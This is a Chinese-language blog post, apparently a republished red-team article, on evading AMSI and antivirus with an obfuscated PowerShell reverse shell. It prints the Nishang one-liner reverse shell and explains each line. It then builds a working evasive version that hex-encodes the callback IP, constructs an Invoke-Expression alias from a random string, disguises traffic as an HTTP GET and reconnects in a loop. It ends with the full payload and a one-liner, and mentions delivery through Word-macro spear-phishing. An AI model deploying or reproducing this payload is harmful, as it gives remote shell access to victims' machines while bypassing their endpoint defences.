红队 TTP 第一部分:AMSI 逃避

科技   2024-12-01 15:34   广东  

距离我上次写博文已经有一段时间了。我之前写了这篇文章的一部分,但后来我加入了 Mandiant/Fireeye,担任高级红队顾问,这段经历对我来说很坎坷,因为我一直忙于办公室项目以及我的红队和对手模拟个人项目,你可能已经通过我的推特帖子注意到了。所以,我终于休息了一下,决定继续写这篇关于为红队编写有效载荷的文章。那么,让我们开始吧。

这篇文章将介绍如何通过 PowerShell 混淆来规避大多数 AV。这并不是什么新鲜事,但很多人问我如何真正隐藏或混淆现有的有效载荷或已经可检测到的 PowerShell 反向 shell。因此,我决定采用已知的 PowerShell 反向 shell(Defender 和 Symantec Endpoint Protection 将其归类为恶意的,因为这两个是大多数组织所依赖的一些常见 AV),然后对其进行混淆以使其无法检测到。还请注意,这种混淆不仅适用于有效载荷,您还可以使用以下技术来混淆现有工具(如 PowerSploit、PowerView)以规避 AV 和 EDR。这就是 PowerShell 的魅力所在。

有效载荷

我将使用以下有效载荷进行从此处下载的模拟:

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1

$client = New-Object System.Net.Sockets.TCPClient( '192.168.56.1' , 8080 ); $stream = $client .GetStream();[byte[]] $bytes = 0 .. 65535 |%{ 0 }; while (( $i = $stream .Read( $bytes , 0 , $bytes .Length)) -ne 0 ){; $data = ( New-Object -TypeName System.Text.ASCIIEncoding).GetString( $bytes , 0 , $i ); $sendback = (iex $data 2 >& 1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' ; $sendbyte = ([text.encoding]::ASCII).GetBytes( $sendback2 ); $stream.Write ( $sendbyte,0,$sendbyte.Length ); $stream.Flush ()}; $ client.Close()

现在,如果您在端口 8080 上启动 netcat 监听器,并在启用 Win Defender 或任何其他 AV 的情况下将上述代码输入 PowerShell,它将被标记为恶意,如下所示。

现在,我们的任务是确保这个有效载荷不会被标记。让我们首先逐一剖析上述有效载荷并了解代码。

在所需主机/端口上创建 TCP 套接字。

$client = New-Object System.Net.Sockets.TCPClient('192.168.56.1',8080)

在上述套接字上创建一个用于输入和输出的流。

$stream = $client.GetStream()

上述流将用于将每个 ASCII/UNICODE 字符转换为可通过网络发送的字节。

[byte[]]$bytes = 0..65535|%{0}

创建一个循环,对通过网络接收的每个输入或发送的每个输出进行连续读取和写入。当接收的字节不等于零时,通过套接字连续读取来自服务器的输入。

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ... }

从客户端获取数据。

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

iex是 Invoke-Expression 的 PowerShell 别名。在这里,iex执行数据变量中的代码,将其转换为字符串,而错误则重定向为 null,然后将其存储在$sendback变量中。

$sendback = (iex $data 2>&1 | Out-String )

现在,当前 PowerShell 路径被附加到$sendback2变量内创建的字符串。

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '

变量中的上述字符串被转换为套接字可读的字节。

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

上述字节是通过流套接字写入的。

$stream.Write($sendbyte,0,$sendbyte.Length)

所有字节均刷新到屏幕上。

$stream.Flush()

一旦 while 循环结束,就关闭套接字。

$client.Close()

逃避

好的。这很简单。现在到了有趣的部分。Windows 使用 AMSI(反恶意软件扫描接口)来检测恶意负载。现在至于检测 PowerShell 部分,AMSI 使用基于字符串的检测。现在,由于上述负载在网络上非常有名,因此创建 YARA 规则来检测上述负载非常容易。大多数人试图通过将上述代码转换为 base64 来混淆它,但这是行不通的。原因是,AMSI 可以直接从 base64 中检测出恶意字符串,或者可以轻松解码 base64 并检测 PowerShell 命令中使用的字符串。

现在,这里的技巧是分别混淆上述每个命令,而不是将它们全部编码在一起。这种方法之所以能避免被绕过,是因为如果我们将有效载荷拆开,并将它们分别输入到 PowerShell 终端中,它们不会被标记为恶意命令,因为它们每个都被归类为不同的命令,而这些命令是 PowerShell 的合法命令。但是,如果我们将它们拼接在一起,那么脚本将充当单个有效载荷,可以使用 YARA 或基于字符串的检测等轻松用于检测。简而言之,我们的任务是以下步骤:

  1. 破解payload

  2. 混淆每一行命令

  3. 缝合有效载荷

  4. 对有效载荷进行编码

我们已经分解了上面的有效载荷。现在是时候混淆每个命令了。对于混淆部分,我们将使用一切我们能用的东西,从环境变量到内置的 PowerShell 命令。此外,让我们将 TCP 套接字更改为自定义 HTTP 连接,以防我们需要在 Word 宏中使用这些有效载荷进行鱼叉式网络钓鱼活动。

首先,让我们将 IP 地址混淆为简单的十六进制。我的 C2 主机 IP 是 192.168.56.1,代表 192 = c0、168=a8、56=38、1=1

现在,我们将在 PowerShell 的运行时对其进行解码。因此,将其转换为 IP 的代码如下。在这里,我将 IP 的十六进制存储在 $px 变量中,然后将其转换为 IP 并将其存储在$p变量中。

$px = “c0”,“a8”,“38”,“1
$p = ($px | ForEach { [convert]::ToInt32($_,16)})-join '。'

接下来,我们将为 HTTP 请求设置一个简单的 GET 请求。您可以边操作边添加内容,但目前我们先保持其非常简单。请确保不要忘记带反引号的 \r\n。否则它不会作为 HTTP 请求发送。此外,我们不要使用快捷方式别名text.encoding进行字节转换,而是坚持使用 dot net 库本身的 API [System.Text.ASCIIEncoding]将字符串转换为字节。我们将字节存储在$b变量中,并将 API [System.Text.ASCIIEncoding]存储在 $s 变量中。稍后我们将使用它进行字节转换。

$w = "GET /index.html HTTP/1.1`r`nHost: $p `r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n" 
    $s = [System.Text.ASCIIEncoding]
    [byte[]] $b = 0 .. 65535 |%{ 0 }

现在的主要任务是逃避 IEX 即 Invoke-Expression 命令。如果您以前使用过 EDR,就会知道 IEX 又名 Invoke-Expression 始终默认被标记为恶意,因为它用于执行命令。因此,我们将确保我们的有效负载中不存在任何字符串或任何编码版本的 IEX,但我们仍将使用此命令。请记住,IEX 本身并不是恶意的。它与任何其他 Microsoft Dot Net API 一样好。与 IEX 命令一起使用的字符串将其标记为恶意软件。现在,为了做到这一点,让我们在这里取一个随机字符串:

$x = “n-eiorvsxpk5”

现在上面的代码看起来乱七八糟。但是,我们将使用它来进行大量的混淆。$x 存储一个带有随机字符串的简单变量。现在,这个字符串不能被标记为恶意的,因为它可以是任何随机字符串,并且没有任何 YARA 规则来检测随机字符串。我们要做的是,使用这个字符串来制作我们的 IEX 命令。这就是我们要做的事情:

Set-alias $x ($x[$true-10] + ($x[[byte]("0x" + "FF") - 265]) + $x[[byte]("0x" + "9a") - 158])

现在让我们剖析一下上面的代码。我们将其分为 4 个部分:

1. Set-alias $x
    2. $x[$true-10]
    3. ($x[[byte]("0x" + "FF") - 265])
    4. $x[[byte]("0x" + "9a") - 158

我们先讨论第 2、3 和第 4 点。$true在数字中为 1。因此,$true-10变为-9。由于$x是字符串,我们可以从$x变量中提取第 -9 个字符,如下所示:

$x[-9] = i

接下来,“0x” + “FF”表示0xFF ,即使用[byte]转换为字节类型。0xFF 代表数字 255。因此,255-265 = -10,从而得出:

$x[-10] = e

类似地,第 4 个点将给我们0x9a - 158,从而给我们-4,即:

$x[-4] = x

因此,将上述内容连接起来,我们得到了iex。使用Set-Alias,我们将命令IEX分配给$x ,这意味着IEX的别名(又名Invoke-Expression)成为我们的随机字符串,即“ n-eiorvsxpk5 ”。所以现在我们可以使用n-eiorvsxpk5表达式执行任何命令。下面的截图应该可以更好地解释这一点:

或者,如果您不想对 I、E 和 X 使用相同样式的编码,也可以使用不同的模式。例如,我们可以通过执行以下操作来混淆从 IEX 中提取 X:

Set-alias $x ($x[$true-10] + ($x[[byte]('0x' + 'FF') - 265]) + $x[$false - [int]([Datetime]::Today).ToString().Split("/")[2].Split(" ")[0] + 2015])

这里同样,经过计算,我们将得到 -4 作为余数,并且 x[-4] 将返回 x 作为提取的字符串。

现在,您上面看到的是一个非常简单的混淆。唯一的限制就是您的创造力。接下来,我们继续使用之前解码的 $p 变量创建一个套接字,该变量包含 IP 和我们的端口。我暂时还没有混淆端口,因为现在您应该已经知道如何做到这一点。此外,我们将在$z变量中设置套接字的输入输出流:

$y = New-Object System.Net.Sockets.TCPClient($p,80)
    $z = $y.GetStream()

接下来,我们将上面创建的数据(带有 GET 请求的 Useragent 字符串)转换为字节,并将其存储在变量$d中,然后使用上面创建的输出流将其写入服务器。现在,同样,我们等待来自服务器的任何输入,并在收到任何输入后,它使用n-eiorvsxpk5即 Invoke-Expression执行命令,将其转换为字节并发送回去。

$d = $s::UTF8.GetBytes($w)
    $z.Write($d, 0, $d.Length)
    $t = (n-eiorvsxpk5 whoami) + "$ "
    while(($l = $z.Read($b, 0, $b.Length)) -ne 0){
        $v = (New-Object -TypeName $s).GetString($b,0, $l)
        $t = (&"whoami") + "$ "
        $d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t)
        $z.Write($d, 0, $d.Length)
    }
    $y.Close()

上面你还可以看到,我附加了命令whoami的输出,将其存储在$t变量中,并通过网络将其与每个数据一起发送。此外,一旦我们从服务器收到零字节,我们最终就会关闭套接字。最后,我们将整个有效负载与 sleep 命令一起放入 while true 循环中,这样即使我们的连接中断,它也会休眠 X 秒,然后尝试重新连接到我们的服务器。最终代码如下所示:

while ($true) {
    $px = "c0","a8","38","1"
    $p = ($px | ForEach { [convert]::ToInt32($_,16) }) -join '.'
    $w = "GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n"
    $s = [System.Text.ASCIIEncoding]
    [byte[]]$b = 0..65535|%{0}
    $x = "n-eiorvsxpk5"
    Set-alias $x ($x[$true-10] + ($x[[byte]("0x" + "FF") - 265]) + $x[[byte]("0x" + "9a") - 158])
    $y = New-Object System.Net.Sockets.TCPClient($p,80)
    $z = $y.GetStream()
    $d = $s::UTF8.GetBytes($w)
    $z.Write($d, 0, $d.Length)
    $t = (n-eiorvsxpk5 whoami) + "$ "
    while(($l = $z.Read($b, 0, $b.Length)) -ne 0){
        $v = (New-Object -TypeName $s).GetString($b,0, $l)
        $d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t)
        $z.Write($d, 0, $d.Length)
    }
    $y.Close()
    Start-Sleep -Seconds 5
}

现在你们中的一些人可能会想知道为什么我没有混淆代码的剩余部分,而更多地关注 IEX 部分。原因是当你剥离整个代码并在 PowerShell 中逐个执行它们时,你会意识到 IEX是被 AMSI 标记的部分,而不是任何其他部分。但请随意混淆有效载荷的剩余部分。以下是上述有效载荷的一行代码:

while ($true) {$px = "c0","a8","38","1";$p = ($px | ForEach { [convert]::ToInt32($_,16) }) -join '.';$w = "GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n";$s = [System.Text.ASCIIEncoding];[byte[]]$b = 0..65535|%{0};$x = "n-eiorvsxpk5";Set-alias $x ($x[$true-10] + ($x[[byte]("0x" + "FF") - 265]) + $x[[byte]("0x" + "9a") - 158]);$y = New-Object System.Net.Sockets.TCPClient($p,80);$z = $y.GetStream();$d = $s::UTF8.GetBytes($w);$z.Write($d, 0, $d.Length);$t = (n-eiorvsxpk5 whoami) + "$ ";while(($l = $z.Read($b, 0, $b.Length)) -ne 0){;$v = (New-Object -TypeName $s).GetString($b,0, $l);$d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t);$z.Write($d, 0, $d.Length);}$y.Close();Start-Sleep -Seconds 5}

最后,我们针对 AMSI 进行测试。如下所示,Defender 已更新至最新版本。它仍会阻止默认有效载荷,但当我们使用自定义有效载荷时,它会避开 AMSI。



感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章